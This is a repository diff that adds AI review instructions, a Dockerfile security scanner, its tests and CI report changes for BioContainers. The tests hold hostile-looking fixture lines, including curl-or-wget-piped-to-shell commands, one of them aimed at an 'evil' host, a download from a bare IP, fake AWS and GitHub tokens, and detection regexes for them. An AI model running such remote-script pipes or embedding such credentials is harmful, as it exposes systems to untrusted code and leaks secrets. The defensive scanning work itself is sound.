diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md new file mode 100644 index 00000000..ad28611b --- /dev/null +++ b/.github/copilot-instructions.md @@ -0,0 +1,41 @@ +# BioContainers — Copilot review & chat instructions + +This repository accepts **community pull requests that each add or update exactly one +container**, laid out as `//Dockerfile` (an optional +`//test-cmds.txt` holds one smoke-test command per line). Contributors +are trusted only as far as review can verify, so when you review a PR here, **treat the +Dockerfile as untrusted input and prioritise security and provenance over style.** + +## What to flag on every container PR + +Call these out explicitly, cite the **exact line**, and explain the risk in one sentence: + +- **Remote code execution at build time** — `curl … | sh`, `wget … | bash`, or any + pipe of a downloaded script into an interpreter. Name the domain and ask the author to + justify trusting it; prefer a pinned release download verified with a checksum. +- **Insecure or unverifiable downloads** — plain `http://`, URL shorteners + (`bit.ly`, `t.co`, …), pastebins/gists, bare IP addresses, `ADD ` (no checksum), + or `--insecure` / `--no-check-certificate`. +- **Embedded secrets** — any AWS key, GitHub/Slack token, private key, or + `password=`/`api_key=` value. This must block the PR; the credential is already in + git history and must be rotated. +- **Base image** — the `FROM` should be an official `biocontainers/*` (or + `quay.io/biocontainers/*`) image. Anything else warrants an explicit justification. +- **Package provenance** — installs without a pinned version, or package names that look + typosquatted or unrelated to the tool being packaged. +- **Excess privilege / footprint** — `chmod 777`, `sudo`, opening ports, writing outside + the build, running as root without returning to `USER biodocker`, or anything that + "phones home". + +## Metadata the CI already enforces (reinforce, don't duplicate) + +Required LABELs: `software`, `software.version` (must equal the version directory), +`version`, `base_image`, `about.summary` (≥ 20 chars), `about.home`, `about.license` +(an SPDX id). The image tag is `_cv`. If any of these look wrong +or implausible, mention it, but the Python validator (`.github/scripts/validate.py`) is +the source of truth for pass/fail — your job is the judgement calls it cannot encode. + +## Style + +Keep comments specific and actionable. Prefer one precise comment on the risky line over +a general summary. Do not rewrite the whole Dockerfile; suggest the minimal safer form. diff --git a/.github/instructions/dockerfile.instructions.md b/.github/instructions/dockerfile.instructions.md new file mode 100644 index 00000000..13a2a3f6 --- /dev/null +++ b/.github/instructions/dockerfile.instructions.md @@ -0,0 +1,27 @@ +--- +applyTo: "**/Dockerfile" +--- + +# Reviewing a BioContainers Dockerfile + +When the diff touches a `Dockerfile`, review it as **untrusted contributor input** and +lead with security. For each concern, cite the exact line and give the safer alternative. + +Hard stops (should block the PR): +- Any embedded credential — AWS key (`AKIA…`), GitHub token (`ghp_…`), Slack token, + private key block, or a real-looking `password=` / `secret=` / `api_key=` value. + +Always question (comment, don't necessarily block): +- `curl … | sh` / `wget … | bash` — a remote script executed at build time. Which domain? + Is it pinned? Prefer downloading a tagged release and verifying a checksum. +- `http://` downloads, `ADD `, URL shorteners, pastebins/gists, bare-IP hosts, + `--insecure` / `--no-check-certificate`. +- `FROM` that is not `biocontainers/*` or `quay.io/biocontainers/*`. +- Unpinned or typosquatted package installs; `chmod 777`; `sudo`; running as root without + a final `USER biodocker`. + +Also confirm the required LABELs are present and coherent: `software`, +`software.version` (= the version directory name), `version`, `base_image`, +`about.summary`, `about.home`, `about.license` (SPDX id). + +Prefer one precise comment on the offending line over a broad summary. diff --git a/.github/scripts/tests/test_validate.py b/.github/scripts/tests/test_validate.py index 94fe2d11..4848622e 100644 --- a/.github/scripts/tests/test_validate.py +++ b/.github/scripts/tests/test_validate.py @@ -178,3 +178,185 @@ def test_check_tag_defaults_cv1_when_version_blank(tmp_path, monkeypatch): # version label blank is itself an error, but the tag still falls back to _cv1 assert tag == "2.1.5-7-deb_cv1" assert ok is False + + +# ---------------------------------------------------------------- risk scan + +def _scan(tmp_path, body): + df = tmp_path / "Dockerfile" + df.write_text(body) + return validate.scan_dockerfile_risks(str(df)) + + +def checklist_msgs(checklist): + return [c["msg"] for c in checklist] + + +def test_scan_flags_curl_pipe_shell(tmp_path): + # the phynest/#621 case + secrets, checklist = _scan( + tmp_path, + "FROM biocontainers/biocontainers:v1.0.0_cv5\n" + "RUN curl -fsSL https://install.julialang.org | sh -s -- -y\n") + assert secrets == [] + assert any("remote script" in c for c in checklist_msgs(checklist)) + + +def test_scan_flags_wget_pipe_bash(tmp_path): + _, checklist = _scan(tmp_path, "FROM biocontainers/x\nRUN wget -qO- http://x | bash\n") + msgs = checklist_msgs(checklist) + assert any("remote script" in m for m in msgs) + assert any("insecure `http://`" in m for m in msgs) + + +def test_scan_flags_add_url_and_bare_ip(tmp_path): + _, checklist = _scan(tmp_path, "FROM biocontainers/x\nADD https://10.0.0.1/pkg.tar /tmp/\n") + msgs = checklist_msgs(checklist) + assert any("`ADD `" in m for m in msgs) + assert any("bare IP" in m for m in msgs) + + +def test_scan_flags_non_biocontainers_base(tmp_path): + _, checklist = _scan(tmp_path, "FROM debian:stable-slim\nRUN echo hi\n") + assert any("not an official `biocontainers/*`" in m for m in checklist_msgs(checklist)) + + +def test_scan_accepts_quay_biocontainers_base(tmp_path): + _, checklist = _scan(tmp_path, "FROM quay.io/biocontainers/samtools:1.19\nRUN echo hi\n") + assert not any("not an official" in m for m in checklist_msgs(checklist)) + + +def test_scan_flags_each_unapproved_stage_once(tmp_path): + # every non-biocontainers stage is surfaced; a repeated base is flagged only once + _, checklist = _scan( + tmp_path, + "FROM golang:1.22 AS build\nRUN go build\nFROM golang:1.22\nRUN x\n" + "FROM alpine\nCOPY --from=build /x /x\n") + base_flags = [m for m in checklist_msgs(checklist) if "not an official" in m] + assert len(base_flags) == 2 # golang:1.22 (deduped) + alpine + + +def test_scan_ignores_comments(tmp_path): + secrets, checklist = _scan( + tmp_path, + "FROM biocontainers/x\n# RUN curl http://evil | sh (this is a comment)\nRUN echo ok\n") + assert secrets == [] + assert checklist == [] + + +def test_scan_blocks_aws_key(tmp_path): + secrets, _ = _scan( + tmp_path, "FROM biocontainers/x\nENV KEY=AKIAIOSFODNN7EXAMPLE\n") + assert any("AWS access key" in s["msg"] for s in secrets) + + +def test_scan_blocks_private_key(tmp_path): + secrets, _ = _scan( + tmp_path, "FROM biocontainers/x\nRUN echo '-----BEGIN OPENSSH PRIVATE KEY-----'\n") + assert any("private key" in s["msg"] for s in secrets) + + +def test_scan_credential_heuristic_does_not_echo_value(tmp_path): + # advisory only, and the matched line must NOT be echoed (no snippet leak) + secrets, checklist = _scan( + tmp_path, "FROM biocontainers/x\nENV DB_PASSWORD=hunter2secret\n") + assert secrets == [] + cred = [c for c in checklist if "embed a credential" in c["msg"]] + assert cred and cred[0]["snippet"] == "" + + +def test_scan_http_in_label_is_not_a_download(tmp_path): + # a homepage URL in a LABEL must NOT be flagged as an insecure download + _, checklist = _scan( + tmp_path, + 'FROM biocontainers/x\nLABEL about.home="http://example.org"\nRUN echo ok\n') + assert not any("insecure `http://`" in m for m in checklist_msgs(checklist)) + + +def test_scan_catches_split_curl_pipe_shell(tmp_path): + # backslash continuation must not let `curl … | sh` evade the scan + _, checklist = _scan( + tmp_path, + "FROM biocontainers/x\nRUN curl -fsSL https://x.sh \\\n | sh\n") + assert any("remote script" in m for m in checklist_msgs(checklist)) + + +def test_scan_secret_line_snippet_not_echoed(tmp_path): + # a line that trips BOTH a secret rule and curl|sh must be blocked AND must not + # echo the token into the checklist snippet (Codex high finding) + token = "ghp_" + "abcdefghijklmnopqrstuvwxyz0123456789" # 36 chars after ghp_ + secrets, checklist = _scan( + tmp_path, + "FROM biocontainers/x\nRUN curl -H 'Authorization: %s' https://x | sh\n" % token) + assert any("GitHub personal access token" in s["msg"] for s in secrets) + remote = [c for c in checklist if "remote script" in c["msg"]] + assert remote and remote[0]["snippet"] == "" # no token leak + + +def test_scan_env_space_form_aws_secret_blocks(tmp_path): + # `ENV KEY value` (no '=') is valid Dockerfile syntax and must not bypass the scan + secrets, _ = _scan( + tmp_path, "FROM biocontainers/x\nENV AWS_SECRET_ACCESS_KEY %s\n" % ("A" * 40)) + assert any("AWS secret access key" in s["msg"] for s in secrets) + + +def test_scan_env_space_form_password_advisory(tmp_path): + _, checklist = _scan( + tmp_path, "FROM biocontainers/x\nENV DB_PASSWORD hunter2secretvalue\n") + assert any("embed a credential" in m for m in checklist_msgs(checklist)) + + +def test_scan_catches_heredoc_curl_pipe_shell(tmp_path): + _, checklist = _scan( + tmp_path, + "FROM biocontainers/x\nRUN <` (no checksum, bypasses the layer cache) — prefer `curl`/`wget` with a " + "verified checksum, or `COPY`"), + (re.compile(r"http://[^\s\"']+"), True, FETCH_INSTR, + "downloads over insecure `http://` — use `https://`"), + (re.compile(r"(?i)https?://(?:pastebin\.com|[a-z0-9.-]*gist\.github|bit\.ly|tinyurl\.com|t\.co)/"), + True, FETCH_INSTR, + "fetches from a paste site or URL shortener — confirm what is actually being downloaded"), + (re.compile(r"https?://\d{1,3}(?:\.\d{1,3}){3}"), True, FETCH_INSTR, + "downloads from a bare IP address — confirm this endpoint is trusted"), + (re.compile(r"(?i)chmod\s+(?:-R\s+)?0?777\b"), True, ("RUN",), + "sets world-writable permissions (`chmod 777`) — scope permissions more tightly"), + (re.compile(r"(?i)(?:--insecure|--no-check-certificate)\b"), True, ("RUN",), + "disables TLS certificate verification (`--insecure` / `--no-check-certificate`)"), + (re.compile(r"(?i)(?:password|passwd|secret|token|api[_-]?key)(?:\s*[=:]\s*|\s+)[\"']?\S{6,}"), + False, ("ENV", "ARG", "RUN"), + "may embed a credential/secret — verify that no real secret is committed"), +) + +# Approved base-image prefixes; any other FROM is surfaced for a look (advisory only). +APPROVED_BASE_RE = re.compile(r"(?i)^(?:docker\.io/)?(?:quay\.io/)?biocontainers/") + def _safe(value): return bool(value) and SAFE_TOKEN_RE.match(value) is not None @@ -239,16 +295,114 @@ def check_labels(container, version, labels, dockerfile): return ok, (software or container), tag, errors, warnings +def scan_dockerfile_risks(dockerfile_path): + """Scan a submitted Dockerfile for content a reviewer must see. + + Returns (secrets, checklist): + secrets — [{line, msg}] high-confidence embedded credentials (blocking) + checklist — [{line, snippet, msg}] advisory 'please verify' items (never blocking; + snippet is '' when it is not safe to echo the line into a public comment). + Comment/blank lines are ignored; only the first FROM is policy-checked. + """ + secrets, checklist = [], [] + if not (dockerfile_path and os.path.exists(dockerfile_path)): + return secrets, checklist + with open(dockerfile_path, errors="replace") as fh: + raw_lines = fh.read().splitlines() + + # Fold each Dockerfile instruction into one logical unit: both backslash + # continuations AND heredoc bodies (`RUN <= 3 and toks[1].upper() == "AS": + stage_names.add(toks[2].lower()) + return secrets, checklist + + +def _fmt_checklist(item): + """Render one advisory checklist item as a single sanitizable string for the report.""" + if item.get("snippet"): + return "%s _(line %d: `%s`)_" % (item["msg"], item["line"], item["snippet"]) + return "%s _(line %d)_" % (item["msg"], item["line"]) + + def cmd_detect(args): with open(args.changed_files) as fh: changed = fh.read().splitlines() container, version, errors = detect_container(changed, args.workdir) + checklist = [] + if container and version and not errors: + dockerfile = os.path.join(args.workdir, container, version, "Dockerfile") + secrets, checklist = scan_dockerfile_risks(dockerfile) + for s in secrets: + errors.append(s["msg"] + " — remove it and rotate the credential before resubmitting.") report = { "container": container, "version": version, "ok": not errors, "errors": errors, "warnings": [], + "review_checklist": [_fmt_checklist(c) for c in checklist], "pr_number": os.environ.get("PR_NUMBER") or None, "head_sha": os.environ.get("HEAD_SHA") or None, "software": container, @@ -272,6 +426,11 @@ def cmd_check(args): labels = json.loads(raw) if raw and raw != "null" else {} ok, software, tag, errors, warnings = check_labels( args.container, args.version, labels, args.dockerfile) + secrets, checklist = scan_dockerfile_risks(args.dockerfile) + for s in secrets: + errors.append(s["msg"] + " — remove it and rotate the credential before resubmitting.") + if secrets: + ok = False report = { "container": args.container, "version": args.version, @@ -280,6 +439,7 @@ def cmd_check(args): "ok": ok, "errors": errors, "warnings": warnings, + "review_checklist": [_fmt_checklist(c) for c in checklist], "pr_number": os.environ.get("PR_NUMBER") or None, "head_sha": os.environ.get("HEAD_SHA") or None, } diff --git a/.github/workflows/pr-report.yml b/.github/workflows/pr-report.yml index 1f130678..2cc0fc30 100644 --- a/.github/workflows/pr-report.yml +++ b/.github/workflows/pr-report.yml @@ -47,6 +47,13 @@ jobs: String(s == null ? '' : s).replace(/[\x00-\x1f\x7f]/g, ' ').slice(0, n); const cleanName = (s) => (String(s || '').match(/[A-Za-z0-9._-]+/) || ['container'])[0].slice(0, 128); + // Report strings are rendered as list items (never at column 0, so they + // cannot open a heading/table), but still neutralize inline injection from + // a fork-controlled report: backticks (code-span breakout) and angle + // brackets (raw HTML /
). Control chars incl. newlines are already + // stripped by clean(). + const mdSafe = (s, n = 400) => + clean(s, n).replace(/`/g, "'").replace(//g, '>'); // Trusted target: the head commit of the run, and the PR that owns it. const sha = run.head_sha; @@ -63,9 +70,13 @@ jobs: const software = cleanName(report.software || report.container); const container = cleanName(report.container); + const version = report.version ? cleanName(report.version) : ''; const tag = cleanName(report.tag); - const errors = (Array.isArray(report.errors) ? report.errors : []).slice(0, 20).map(e => clean(e)); - const warnings = (Array.isArray(report.warnings) ? report.warnings : []).slice(0, 20).map(w => clean(w)); + const errors = (Array.isArray(report.errors) ? report.errors : []).slice(0, 20).map(e => mdSafe(e)); + const warnings = (Array.isArray(report.warnings) ? report.warnings : []).slice(0, 20).map(w => mdSafe(w)); + // Advisory 'a human must look at this line' items from the Dockerfile risk scan. + const checklist = (Array.isArray(report.review_checklist) ? report.review_checklist : []) + .slice(0, 20).map(x => mdSafe(x)); // Commit status on the trusted head SHA; build conclusion gates pass/fail. if (sha) { @@ -94,6 +105,23 @@ jobs: `[pr-validate run](${run.html_url}) for details.`); if (errors.length) lines.push('\n**Errors (must fix):**\n' + errors.map(e => `- ${e}`).join('\n')); if (warnings.length) lines.push('\n**Warnings (advisory):**\n' + warnings.map(w => `- ${w}`).join('\n')); + // Surface Dockerfile lines a reviewer must consciously sign off on (curl|sh, + // http://, odd base image, …). Advisory — it spotlights, it does not block. + if (checklist.length) + lines.push('\n**🔍 Reviewer checklist — please verify these lines before approving:**\n' + + checklist.map(c => `- [ ] ${c}`).join('\n')); + // Bioconda-style: exact commands to pull & test THIS container locally. + if (container && version) { + const dir = `${container}/${version}`; + lines.push('\n
🧪 Build & test this container locally\n\n' + + '```bash\n' + + `gh pr checkout ${prNumber}\n` + + `docker build -t ${container}:review ${dir}/\n` + + `docker run --rm ${container}:review # e.g. ${software} --version\n` + + '```\n\n' + + `Add \`${dir}/test-cmds.txt\` (one command per line) and CI runs it automatically.\n` + + '
'); + } const marker = ''; const body = marker + '\n' + lines.join('\n'); diff --git a/.github/workflows/publish.yml b/.github/workflows/publish.yml index 76def109..58a0ee2b 100644 --- a/.github/workflows/publish.yml +++ b/.github/workflows/publish.yml @@ -210,6 +210,12 @@ jobs: AWS_ACCESS_KEY_ID: ${{ secrets.BIOCONTAINERS_S3_ACCESS_KEY }} AWS_SECRET_ACCESS_KEY: ${{ secrets.BIOCONTAINERS_S3_SECRET_KEY }} AWS_DEFAULT_REGION: ${{ secrets.BIOCONTAINERS_S3_REGION }} + # The S3 store is Ceph/RGW. aws-cli v2.23+ adds default CRC32 checksums to + # multipart uploads, which this RGW rejects (InvalidRequest on + # CreateMultipartUpload). Revert to legacy behaviour: only checksum when the + # API strictly requires it. Without this, every .sif over ~8 MB fails to upload. + AWS_REQUEST_CHECKSUM_CALCULATION: when_required + AWS_RESPONSE_CHECKSUM_VALIDATION: when_required run: | if [ ! -f "${C}_${TAG}.sif" ]; then echo "No .sif built, skipping upload."; exit 0; fi KEY="SingImgsRepo/${C}/${TAG}/${C}_${TAG}.sif"